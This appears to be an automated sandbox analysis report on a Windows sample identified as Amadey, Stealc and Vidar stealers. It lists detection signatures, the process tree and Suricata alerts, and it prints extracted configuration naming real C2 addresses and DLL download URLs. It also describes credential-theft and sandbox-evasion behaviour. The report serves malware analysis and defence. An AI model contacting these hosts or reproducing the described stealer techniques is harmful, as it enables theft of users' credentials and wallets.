Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562781
MD5:	ded0eb089d3679972dcf011246f04abc
SHA1:	222c4fdea41b569389fa64ff718b5f9944b5faea
SHA256:	91c13e6200f741745516347b90adc8b5dea0c43f0b0163f6035570142a5153f6
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3796 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DED0EB089D3679972DCF011246F04ABC)

chrome.exe (PID: 7452 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2180,i,6193051421280990808,11917923522611111916,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7388 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8020 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2456,i,17039394704386658941,8402415813546333380,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 6884 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEBKKEGDBF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsJEBKKEGDBF.exe (PID: 3816 cmdline: "C:\Users\user\DocumentsJEBKKEGDBF.exe" MD5: F324CF036831114E3C8C681220CA0489)

skotes.exe (PID: 5944 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: F324CF036831114E3C8C681220CA0489)

msedge.exe (PID: 7732 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7936 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8584 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6092 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8596 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6092 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8996 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7012 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 9048 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=5368 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8924 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5400 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 2940 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F324CF036831114E3C8C681220CA0489)

skotes.exe (PID: 6804 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F324CF036831114E3C8C681220CA0489)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001E.00000003.2678330207.00000000048F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.2709313256.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000003.3308199480.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.2753043500.0000000000261000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2178367888.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2693156875.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.2718708497.00000000000E1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.3426025815.0000000000261000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2688050453.000000000084E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000003.2712512772.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.2749584608.0000000000261000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 3796	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3796	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3796	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3796	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
37.2.skotes.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
30.2.DocumentsJEBKKEGDBF.exe.e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.2.skotes.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.skotes.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3796, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7452, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T01:41:14.115789+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49715	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T01:41:13.793223+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T01:41:14.450180+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T01:41:15.927842+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T01:41:14.580224+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49715	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T01:41:13.235874+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T01:43:06.169458+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50125	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T01:41:03.517409+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50132	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T01:43:10.729124+0100	2803305	3	Unknown Traffic	192.168.2.6	50137	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T01:41:17.031802+0100	2803304	3	Unknown Traffic	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-26T01:41:39.443630+0100	2803304	3	Unknown Traffic	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-26T01:41:41.572971+0100	2803304	3	Unknown Traffic	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-26T01:41:42.920451+0100	2803304	3	Unknown Traffic	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-26T01:41:44.192477+0100	2803304	3	Unknown Traffic	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-26T01:41:47.920332+0100	2803304	3	Unknown Traffic	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-26T01:41:49.024438+0100	2803304	3	Unknown Traffic	192.168.2.6	49813	185.215.113.206	80	TCP
2024-11-26T01:41:54.713555+0100	2803304	3	Unknown Traffic	192.168.2.6	49937	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php~U	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll-	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllu	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllSagl	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpKEGDBF.exeata;	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001E.00000003.2678330207.00000000048F0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2688050453.000000000084E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C966C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C966C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49784 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50149 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2735162407.000000006CB8F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2735162407.000000006CB8F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 9MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50125 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50132

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 00:41:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 